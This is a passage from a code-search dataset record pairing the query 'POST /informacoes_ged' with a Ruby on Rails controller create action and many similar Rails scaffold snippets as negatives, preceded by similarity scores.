"0.57256246",
"0.57236147",
"0.5723111",
"0.5708595",
"0.5684619",
"0.5663671",
"0.5659718",
"0.5657128",
"0.56528515",
"0.56520617",
"0.5643188",
"0.5638261",
"0.56361836",
"0.5634646",
"0.5632529",
"0.5631782",
"0.56279594",
"0.5623971",
"0.56218445",
"0.5620964",
"0.56174725",
"0.5616969",
"0.5616367",
"0.5611949",
"0.5610013",
"0.560915",
"0.5608522",
"0.56055814",
"0.5604462",
"0.5600248",
"0.5599448",
"0.55977285",
"0.5594466",
"0.55882955",
"0.5588229",
"0.55866796",
"0.55866796",
"0.55855",
"0.55853933",
"0.55782187",
"0.5574917",
"0.55716646",
"0.55677354",
"0.556323",
"0.5561167",
"0.55599767",
"0.5557908",
"0.55558515",
"0.5544304",
"0.5541265",
"0.55390835",
"0.5537892",
"0.55363876",
"0.55326915",
"0.55308175",
"0.55306715",
"0.5527818",
"0.552751",
"0.55262554",
"0.55196923",
"0.55162454",
"0.5512343",
"0.5509611",
"0.55095637",
"0.55084115",
"0.55075663",
"0.55062985",
"0.55061966",
"0.5505808",
"0.5505138",
"0.5504917",
"0.5504917",
"0.5504917",
"0.5503114"
] |
0.0
|
-1
|
POST /informacoes_ged POST /informacoes_ged.json
|
def create
@informacao_ged = InformacaoGed.new(informacao_ged_params)
respond_to do |format|
if @informacao_ged.save
format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED criada com sucesso.' }
format.json { render action: 'show', status: :created, location: @informacao_ged }
else
format.html { render action: 'new' }
format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def informacao_ged_params\n params.require(:informacao_ged).permit(:orgao_id, :processo_digitalizacao, :numero_digitalizacao, :documentos_indexados, :hospedado_sepog)\n end",
"def create\n @iglesia = Iglesia.new(iglesia_params)\n\n respond_to do |format|\n if @iglesia.save\n format.html { redirect_to iglesias_path, notice: \"La iglesia #{@iglesia.nombre} ha sido creada.\" }\n format.json { render action: 'show', status: :created, location: @iglesia }\n else\n format.html { render action: 'new' }\n format.json { render json: @iglesia.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_informacao_ged\n @informacao_ged = InformacaoGed.find(params[:id])\n end",
"def new\n @agronomiaquimica = Agronomiaquimica.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agronomiaquimica }\n end\n end",
"def create\n @agronomiaquimica = Agronomiaquimica.new(params[:agronomiaquimica])\n\n respond_to do |format|\n if @agronomiaquimica.save\n format.html { redirect_to @agronomiaquimica, notice: 'Agronomiaquimica was successfully created.' }\n format.json { render json: @agronomiaquimica, status: :created, location: @agronomiaquimica }\n else\n format.html { render action: \"new\" }\n format.json { render json: @agronomiaquimica.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @giang_vien = GiangVien.new(params[:giang_vien])\n\n respond_to do |format|\n if @giang_vien.save \n format.json { render json: @giang_vien, status: :created, location: @giang_vien }\n else \n format.json { render json: @giang_vien.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bodega = Bodega.new(bodega_params)\n\n respond_to do |format|\n if @bodega.save\n actualizar\n format.html { redirect_to @bodega, notice: 'Bodega fue creada exitosamente' }\n format.json { render :show, status: :created, location: @bodega }\n else\n format.html { render :new }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ga_datum = GaDatum.new(ga_datum_params)\n\n respond_to do |format|\n if @ga_datum.save\n format.html { redirect_to @ga_datum, notice: 'Ga datum was successfully created.' }\n format.json { render :show, status: :created, location: @ga_datum }\n else\n format.html { render :new }\n format.json { render json: @ga_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n if @celebration.tags.size <= 0 \n redirect_to admin_path, alert: \"Não é possível criar o evento porque a Data Especial '#{@celebration.description}' não possui nenhuma tag atribuída.\"\n return \n end\n \n @highlight = @celebration.highlights.build\n set_highlight_end_date\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: [@celebration,@highlights] }\n end\n end",
"def create\n @nguoi_dung = NguoiDung.new(params[:nguoi_dung])\n\n respond_to do |format|\n if @nguoi_dung.save\n format.html { redirect_to @nguoi_dung, notice: 'Nguoi dung was successfully created.' }\n format.json { render json: @nguoi_dung, status: :created, location: @nguoi_dung }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nguoi_dung.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ecg = Ecg.new(params[:ecg])\n respond_to do |format|\n if @ecg.save\n format.html { redirect_to @ecg, notice: 'Ecg was successfully created.' }\n format.json { render json: @ecg, status: :created, location: @ecg }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ecg.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @genu = Genu.new(params[:genu])\n\n respond_to do |format|\n if @genu.save\n format.html { redirect_to control_genus_path,\n notice: t('activerecord.attributes.genu.messages.has_been_success_created') }\n format.json { render json: @genu, status: :created, location: @genu }\n else\n format.html { render action: \"new\" }\n format.json { render json: @genu.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @indicacao = Indicacao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicacao }\n end\n end",
"def new\n @ecg = Ecg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ecg }\n end\n end",
"def create\n @estacionamiento = Estacionamiento.new(estacionamiento_params)\n @lista_departamentos = Ubigeo.find_by_sql(\"select distinct idDepartamento, Departamento from ubigeos\")\n @lista_provincias = Ubigeo.find_by_sql(\"select distinct idProvincia, Provincia from ubigeos\")\n @lista_distritos = Ubigeo.find_by_sql(\"select distinct idDistrito, Distrito from ubigeos\")\n @serv_adicinales = ServAdicinale.all\n\n respond_to do |format|\n if @estacionamiento.save\n format.html { redirect_to @estacionamiento, notice: 'Estacionamiento was successfully created.' }\n format.json { render :show, status: :created, location: @estacionamiento }\n else\n format.html { render :new }\n format.json { render json: @estacionamiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bodega = Bodega.new(bodega_params)\n\n respond_to do |format|\n if @bodega.save\n format.html { redirect_to @bodega, notice: 'Se creo correctamemte la Bodega.' }\n format.json { render action: 'show', status: :created, location: @bodega }\n else\n format.html { render action: 'new' }\n format.json { render json: @bodega.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gigapan = Gigapan.new(gigapan_params)\n\n respond_to do |format|\n if @gigapan.save\n format.html { redirect_to @gigapan, notice: 'Gigapan was successfully created.' }\n format.json { render :show, status: :created, location: @gigapan }\n else\n format.html { render :new }\n format.json { render json: @gigapan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dia_evento = DiaEvento.new(dia_evento_params)\n\n if @dia_evento.save\n render json: @dia_evento, status: :created, location: @dia_evento\n else\n render json: @dia_evento.errors, status: :unprocessable_entity\n end\n end",
"def create\n @demande_eg = DemandeEg.new(demande_eg_params)\n\n respond_to do |format|\n if @demande_eg.save\n format.html { redirect_to @demande_eg, notice: 'Demande eg was successfully created.' }\n format.json { render :show, status: :created, location: @demande_eg }\n else\n format.html { render :\"new\" }\n end\n end\n end",
"def new\n # @gethotelstaticdatagd = Gethotelstaticdatagd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotelstaticdatagd }\n end\n end",
"def create\n @gomi = Gomi.new(gomi_params)\n\n respond_to do |format|\n if @gomi.save\n format.html { redirect_to @gomi, notice: 'Gomi was successfully created.' }\n format.json { render :show, status: :created, location: @gomi }\n else\n format.html { render :new }\n format.json { render json: @gomi.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gig = Gig.new()\n @gig.build_attachment\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gig }\n end\n end",
"def create\n @made_in_g = MadeInG.new(made_in_g_params)\n\n respond_to do |format|\n if @made_in_g.save\n format.html { redirect_to @made_in_g, notice: 'Made in g was successfully created.' }\n format.json { render :show, status: :created, location: @made_in_g }\n else\n format.html { render :new }\n format.json { render json: @made_in_g.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @diabetic = Diabetic.new(diabetic_params)\n\n respond_to do |format|\n if @diabetic.save\n format.html { redirect_to @diabetic, notice: 'Diabetic was successfully created.' }\n format.json { render :show, status: :created, location: @diabetic }\n else\n format.html { render :new }\n format.json { render json: @diabetic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @colegiatura = Colegiatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegiatura }\n end\n end",
"def create\n @indicativo = Indicativo.new(params[:indicativo])\n\n respond_to do |format|\n if @indicativo.save\n format.html { redirect_to @indicativo, notice: 'Indicativo was successfully created.' }\n format.json { render json: @indicativo, status: :created, location: @indicativo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @indicativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @aki_diagnosis = AkiDiagnosis.new(aki_diagnosis_params)\n\n respond_to do |format|\n if @aki_diagnosis.save\n format.html { redirect_to @aki_diagnosis, notice: 'Diagnosis aki was successfully created.' }\n format.json { render :show, status: :created, location: @aki_diagnosis }\n else\n format.html { render :new }\n format.json { render json: @aki_diagnosis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categoria_ing = CategoriaIng.new(categoria_ing_params)\n\n respond_to do |format|\n if @categoria_ing.save\n format.html { redirect_to @categoria_ing, notice: 'Categoria ing was successfully created.' }\n format.json { render :show, status: :created, location: @categoria_ing }\n else\n format.html { render :new }\n format.json { render json: @categoria_ing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @nguoi_dung = NguoiDung.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nguoi_dung }\n end\n end",
"def new\n @indicativo = Indicativo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @indicativo }\n end\n end",
"def create\n @hoge = Hoge.new(params[:hoge])\n\n respond_to do |format|\n if @hoge.save\n format.html { redirect_to @hoge, notice: 'Hoge was successfully created.' }\n format.json { render json: @hoge, status: :created, location: @hoge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hoge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @edge = Edge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @edge }\n end\n end",
"def create\n @indicacao = Indicacao.new(params[:indicacao])\n\n respond_to do |format|\n if @indicacao.save\n format.html { redirect_to @indicacao, notice: 'A Indicação de Condutor foi criada com sucesso.' }\n format.json { render json: @indicacao, status: :created, location: @indicacao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @indicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gig_request = GigRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gig_request }\n end\n end",
"def create\n @enemigo = Enemigo.new(enemigo_params)\n\n respond_to do |format|\n if @enemigo.save\n format.html { redirect_to @enemigo, notice: 'Enemigo was successfully created.' }\n format.json { render :show, status: :created, location: @enemigo }\n else\n format.html { render :new }\n format.json { render json: @enemigo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @colegiatura = Colegiatura.new(params[:colegiatura])\n\n respond_to do |format|\n if @colegiatura.save\n format.html { redirect_to @colegiatura, notice: 'Colegiatura was successfully created.' }\n format.json { render json: @colegiatura, status: :created, location: @colegiatura }\n else\n format.html { render action: \"new\" }\n format.json { render json: @colegiatura.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oferta_academica = OfertaAcademica.new(params[:oferta_academica])\n\n if @oferta_academica.save\n render json: @oferta_academica, status: :created, location: @oferta_academica\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end",
"def new\n @cad_neighborhood = CadNeighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cad_neighborhood }\n end\n end",
"def create\n gig = Gig.new()\n respond_to do |format|\n if update_gig(gig)\n format.html { render json: gig, status: :created, location: gig }\n format.json { render json: gig, status: :created, location: gig }\n else\n format.html { render action: \"new\" }\n format.json { render json: gig.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gauge_graph = GaugeGraph.new(gauge_graph_params)\n\n respond_to do |format|\n if @gauge_graph.save\n format.html { redirect_to edit_gauge_graph_path(@gauge_graph), notice: 'Gauge graph was successfully created.' }\n format.json { render :edit, status: :created, location: @gauge_graph }\n else\n format.html { render :new }\n format.json { render json: @gauge_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gang = Gang.new(gang_params)\n\n respond_to do |format|\n if @gang.save\n format.html { redirect_to @gang, notice: 'Gang was successfully created.' }\n format.json { render :show, status: :created, location: @gang }\n else\n format.html { render :new }\n format.json { render json: @gang.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ingeniero = Ingeniero.new(ingeniero_params)\n\n respond_to do |format|\n if @ingeniero.save\n format.html { redirect_to @ingeniero, notice: 'Ingeniero was successfully created.' }\n format.json { render :show, status: :created, location: @ingeniero }\n else\n format.html { render :new }\n format.json { render json: @ingeniero.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gljdaima = Gljdaima.new(gljdaima_params)\n\n respond_to do |format|\n if @gljdaima.save\n format.html { redirect_to @gljdaima, notice: 'Gljdaima was successfully created.' }\n format.json { render :show, status: :created, location: @gljdaima }\n else\n format.html { render :new }\n format.json { render json: @gljdaima.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @empresa = Empresa.find(:first, :conditions => [\"prefijo = ?\", params[:empresa_id]]) # para la validacion del formulario\n\n params[:gln][:gln] = Gln.generar(params[:empresa_id])\n params[:gln][:fecha_asignacion] = Time.now\n estatus = Estatus.find(:first, :conditions => [\"descripcion = ? and alcance = ?\", 'Activo', 'GLN'])\n params[:gln][:id_estatus] = estatus.id\n params[:gln][:codigo_localizacion] = params[:gln][:gln][7..11]\n @gln = Gln.new(params[:gln])\n\n respond_to do |format|\n if @gln.save\n format.html { redirect_to empresa_glns_path, notice: \"GLN #{@gln.gln} fue generado.\"}\n format.json { render json: @gln, status: :created, location: @gln }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gln.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comentario_egresado = ComentarioEgresado.new(comentario_egresado_params)\n\n respond_to do |format|\n if @comentario_egresado.save\n format.html { redirect_to @comentario_egresado, notice: 'Comentario egresado was successfully created.' }\n format.json { render :show, status: :created, location: @comentario_egresado }\n else\n format.html { render :new }\n format.json { render json: @comentario_egresado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @estadocivil = Estadocivil.new(estadocivil_params)\n\n respond_to do |format|\n if @estadocivil.save\n format.html { redirect_to @estadocivil, notice: 'Estadocivil was successfully created.' }\n format.json { render :show, status: :created, location: @estadocivil }\n else\n format.html { render :new }\n format.json { render json: @estadocivil.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gudang = Gudang.new(gudang_params)\n\n respond_to do |format|\n if @gudang.save\n format.html { redirect_to @gudang, notice: 'Gudang was successfully created.' }\n format.json { render :show, status: :created, location: @gudang }\n else\n format.html { render :new }\n format.json { render json: @gudang.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ideia = Ideia.find(params[:ideia_id])\n @sugestao = @ideia.sugestoes.build(params[:sugestao])\n @sugestao.usuario = current_usuario\n\n respond_to do |format|\n if @ideia.status > 2\n if @sugestao.save\n format.html { redirect_to(@ideia, :notice => 'Sugestão enviada com sucesso.') }\n else\n format.html { redirect_to(@ideia, :notice => 'Houve um erro ao gravar sua sugestão (sugestão vazia ou sugestão com texto muito longo).') }\n end\n else\n format.html { redirect_to(@ideia, :notice => 'Sugestões são limitadas a ideias publicadas.') }\n end \n end\n end",
"def create\n @groep = Groep.new(params[:groep])\n @lesgevers = Lesgever.order('name').all\n @dags = Dag.all\n @niveaus = Niveau.order('position').all\n respond_to do |format|\n if @groep.save\n format.html { redirect_to @groep, notice: 'Groep werd succesvol aangemaakt.' }\n format.json { render json: @groep, status: :created, location: @groep }\n else\n format.html { render action: \"new\" }\n format.json { render json: @groep.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @daw_representante = DawRepresentante.new(daw_representante_params)\n\n respond_to do |format|\n if @daw_representante.save\n format.html { redirect_to @daw_representante, notice: 'Daw representante was successfully created.' }\n format.json { render :show, status: :created, location: @daw_representante }\n else\n format.html { render :new }\n format.json { render json: @daw_representante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gastronomium = Gastronomium.new(gastronomium_params)\n\n respond_to do |format|\n if @gastronomium.save\n format.html { redirect_to @gastronomium, notice: 'Gastronomium was successfully created.' }\n format.json { render :show, status: :created, location: @gastronomium }\n else\n format.html { render :new }\n format.json { render json: @gastronomium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @oncokb = Oncokb.new(oncokb_params)\n\n respond_to do |format|\n if @oncokb.save\n format.html { redirect_to @oncokb, notice: 'Oncokb was successfully created.' }\n format.json { render :show, status: :created, location: @oncokb }\n else\n format.html { render :new }\n format.json { render json: @oncokb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @dimgeom = Dimgeom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dimgeom }\n end\n end",
"def new\n @hoge = Hoge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hoge }\n end\n end",
"def create\n @gondola = Gondola.new(gondola_params)\n\n respond_to do |format|\n if @gondola.save\n format.html { redirect_to @gondola, notice: 'Gondola was successfully created.' }\n format.json { render :show, status: :created, location: @gondola }\n else\n format.html { render :new }\n format.json { render json: @gondola.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @energy_datum = EnergyDatum.new(params[:energy_datum])\n\n respond_to do |format|\n if @energy_datum.save\n format.html { redirect_to @energy_datum, notice: 'Energy datum was successfully created.' }\n format.json { render json: @energy_datum, status: :created, location: @energy_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @energy_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @asignatura = Asignatura.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asignatura }\n end\n end",
"def create\n @aliado = Aliado.new(aliado_params)\n\n respond_to do |format|\n if @aliado.save\n format.html { redirect_to @aliado, notice: 'Aliado was successfully created.' }\n format.json { render :show, status: :created, location: @aliado }\n else\n format.html { render :new }\n format.json { render json: @aliado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gpath = Gpath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gpath }\n end\n end",
"def new\n @energy_datum = EnergyDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @energy_datum }\n end\n end",
"def new_captcha\n post(\"/api/new_captcha\").body[:json][:data][:iden]\n end",
"def ga_datum_params\n params.require(:ga_datum).permit(:ga_label_id, :profile, :json)\n end",
"def update\n respond_to do |format|\n if @informacao_ged.update(informacao_ged_params)\n format.html { redirect_to @informacao_ged, notice: 'Informação sobre o GED atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @informacao_ged.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @descuento_adicional = DescuentoAdicional.new(descuento_adicional_params)\n\n respond_to do |format|\n if @descuento_adicional.save\n format.html { redirect_to @descuento_adicional, notice: 'Descuento adicional was successfully created.' }\n format.json { render :show, status: :created, location: @descuento_adicional }\n else\n format.html { render :new }\n format.json { render json: @descuento_adicional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @eintrag = Eintrag.new(eintrag_params)\n\n respond_to do |format|\n if @eintrag.save\n format.html { redirect_to @eintrag, notice: 'Eintrag was successfully created.' }\n format.json { render :show, status: :created, location: @eintrag }\n else\n format.html { render :new }\n format.json { render json: @eintrag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @dataload_ga = DataloadGa.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataload_ga }\n end\n end",
"def create\n prepara_form\n @garagem = Garagem.new(garagem_params)\n @garagem.endereco = Endereco.new(endereco_params)\n\n respond_to do |format|\n if @garagem.save\n format.html { redirect_to @garagem, notice: 'Garagem foi salva com sucesso' }\n format.json { render :show, status: :created, location: @garagem }\n else\n format.html { render :new }\n format.json { render json: @garagem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @proposal = Proposal.new\n @proposal.area_tags = [Area.find(params[:area_id]).area_tag.name_es] if params[:area_id]\n respond_to do |format|\n format.html\n format.floki { render :action => 'new.floki', :content_type => 'application/json', :layout => false}\n end\n end",
"def create\n @cad_neighborhood = CadNeighborhood.new(params[:cad_neighborhood])\n\n respond_to do |format|\n if @cad_neighborhood.save\n format.html { redirect_to @cad_neighborhood, notice: 'Cad neighborhood was successfully created.' }\n format.json { render json: @cad_neighborhood, status: :created, location: @cad_neighborhood }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cad_neighborhood.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @gnode = Gnode.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gnode }\n end\n end",
"def create\n @g_anewby = GAnewbie.new(g_anewby_params)\n\n respond_to do |format|\n if @g_anewby.save\n format.html { redirect_to @g_anewby, notice: 'G anewbie was successfully created.' }\n format.json { render action: 'show', status: :created, location: @g_anewby }\n else\n format.html { render action: 'new' }\n format.json { render json: @g_anewby.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gifday = Gifday.new(gifday_params)\n\n respond_to do |format|\n if @gifday.save\n format.html { redirect_to @gifday, notice: 'Gifday was successfully created.' }\n format.json { render :show, status: :created, location: @gifday }\n else\n format.html { render :new }\n format.json { render json: @gifday.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agencium = Agencium.new(agencium_params)\n\n respond_to do |format|\n if @agencium.save\n format.html { redirect_to @agencium, notice: 'Agencium was successfully created.' }\n format.json { render :show, status: :created, location: @agencium }\n else\n format.html { render :new }\n format.json { render json: @agencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ganho = Ganho.new(ganho_params)\n\n respond_to do |format|\n if @ganho.save\n format.html { redirect_to ganhos_path, notice: 'Ganho was successfully created.' }\n format.json { render :show, status: :created, location: @ganho }\n else\n format.html { render :new }\n format.json { render json: @ganho.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lookup_demographichandedness = LookupDemographichandedness.new(params[:lookup_demographichandedness])\n\n respond_to do |format|\n if @lookup_demographichandedness.save\n format.html { redirect_to(@lookup_demographichandedness, :notice => 'Lookup demographichandedness was successfully created.') }\n format.xml { render :xml => @lookup_demographichandedness, :status => :created, :location => @lookup_demographichandedness }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_demographichandedness.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @cb_axiento_det = Cb::AxientoDet.new(cb_axiento_det_params)\n\n respond_to do |format|\n if @cb_axiento_det.save\n format.html { redirect_to @cb_axiento_det, notice: 'Axiento det was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cb_axiento_det }\n else\n format.html { render action: 'new' }\n format.json { render json: @cb_axiento_det.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @agente = Agente.new(agente_params)\n @agente.estado_agente_id = 1\n\n respond_to do |format|\n if@agente.save\n format.html { redirect_to new_agente_dato_laboral_path(@agente), notice: 'El agente fué creado exitosamente.' }\n format.json { render :show, status: :created, locatin: @agente }\n else\n cargar_datos_estaticos\n format.html { render :new }\n format.json { render json: @agente.errors, status: :unprocessble_entity }\n end\n end\n end",
"def add_obrigacao(conta_id, estabelecimento_id, obrigacao_id, dia_entrega)\n obest = Taxcalendario::Admin::Client::Entities::ObrigacaoEstabelecimento.new\n obest.dia_entrega = dia_entrega\n obest.obrigacao_id = obrigacao_id\n map = JSON.parse(post_and_give_me_a_json(\"/estabelecimentos/obrigacoes/#{conta_id}/#{estabelecimento_id}\",obest)) \n obj = Taxcalendario::Admin::Client::Entities::ObrigacaoEstabelecimento.new\n obj.from_hash(map)\n obj\n end",
"def create\n @nepal = Nepal.new(nepal_params)\n\n if @nepal.save\n render json: @nepal, status: :created, location: @nepal\n else\n render json: @nepal.errors, status: :unprocessable_entity\n end\n end",
"def new\n @expediente = Expediente.new\n @municipios = Municipio.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expediente }\n end\n end",
"def create\n @enfermedade = Enfermedade.new(enfermedade_params)\n\n respond_to do |format|\n if @enfermedade.save\n format.html { redirect_to new_padecimiento_path, notice: 'Ahora, por favor dinos a qué eres alérgico' }\n\n else\n format.html { render action: 'new' }\n format.json { render json: @enfermedade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @questionario_egresso = QuestionarioEgresso.new(questionario_egresso_params)\n\n respond_to do |format|\n if @questionario_egresso.save\n format.html { redirect_to questionario_egressos_path, notice: 'Questionario incluído com sucesso.' }\n format.json { render :show, status: :created, location: questionario_egressos_path }\n else\n format.html { render :new }\n format.json { render json: @questionario_egresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n #@gethotel = Gethotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gethotel }\n end\n end",
"def create\n @frais_annex = FraisAnnex.new(params[:frais_annex])\n\n respond_to do |format|\n if @frais_annex.save\n format.html { redirect_to @frais_annex, :notice => 'Le frais annexe a bien été créé' }\n format.json { render :json => @frais_annex, :status => :created, :location => @frais_annex }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @frais_annex.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @edge = Edge.new(params[:edge])\n\n respond_to do |format|\n if @edge.save\n format.html { redirect_to @edge, notice: 'Edge was successfully created.' }\n format.json { render json: @edge, status: :created, location: @edge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @edge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @idea = @agenda.ideas.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @idea }\n end\n end",
"def create\n @descuento_adicional = DescuentoAdicional.new(descuento_adicional_params)\n\n respond_to do |format|\n if @descuento_adicional.save\n format.html { redirect_to @descuento_adicional, notice: 'Descuento adicional fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @descuento_adicional }\n else\n format.html { render :new }\n format.json { render json: @descuento_adicional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ingrediente = Ingrediente.new(ingrediente_params)\n\n respond_to do |format|\n if @ingrediente.save\n format.html { redirect_to @ingrediente, notice: 'Ingrediente was successfully created.' }\n format.json { render :show, status: :created, location: @ingrediente }\n else\n format.html { render :new }\n format.json { render json: @ingrediente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @esjiaoben = Esjiaoben.new(esjiaoben_params)\n\n respond_to do |format|\n if @esjiaoben.save\n format.html { redirect_to @esjiaoben, notice: 'Esjiaoben was successfully created.' }\n format.json { render :show, status: :created, location: @esjiaoben }\n else\n format.html { render :new }\n format.json { render json: @esjiaoben.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @geocach = Geocach.new(params[:geocach])\n\n respond_to do |format|\n if @geocach.save\n format.html { redirect_to @geocach, notice: 'A Geocache was successfully created.' }\n format.json { render json: @geocach, status: :created, location: @geocach }\n else\n format.html { render action: \"new\" }\n format.json { render json: @geocach.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @colegio = Colegio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @colegio }\n end\n end",
"def create\n @ingresso = Ingresso.new(ingresso_params)\n\n respond_to do |format|\n if @ingresso.save\n format.html { redirect_to @ingresso, notice: 'Ingresso was successfully created.' }\n format.json { render :show, status: :created, location: @ingresso }\n else\n format.html { render :new }\n format.json { render json: @ingresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @carga_emergencium = CargaEmergencium.new(carga_emergencium_params)\n\n respond_to do |format|\n if @carga_emergencium.save\n format.html {redirect_to @carga_emergencium, notice: 'Carga emergencia creado correctamente.'}\n format.json {render :show, status: :created, location: @carga_emergencium}\n else\n format.html {render :new}\n format.json {render json: @carga_emergencium.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @gestacao = Gestacao.new(gestacao_params)\n\n respond_to do |format|\n if @gestacao.save\n format.html { redirect_to @gestacao, notice: 'Gestacao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @gestacao }\n else\n format.html { render action: 'new' }\n format.json { render json: @gestacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mood_datum = MoodDatum.new(mood_datum_params)\n \n respond_to do |format|\n if @mood_datum.save \n params['significant_events'].each do |key,value| \n PatientSignificantEvent.create(:patient_id =>@mood_datum.user_id ,:doctor_id => @mood_datum.doctor_id ,:mood_data_id =>@mood_datum.id ,:comments => value )\n end \n format.html { redirect_to new_mood_datum_path(:patient => current_user.id), notice: 'Mood datum was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mood_datum }\n else\n format.html { render action: 'new' }\n format.json { render json: @mood_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gakka = Gakka.new(gakka_params)\n\n respond_to do |format|\n if @gakka.save\n format.html { redirect_to @gakka, notice: \"Gakka was successfully created.\" }\n format.json { render :show, status: :created, location: @gakka }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @gakka.errors, status: :unprocessable_entity }\n end\n end\n end",
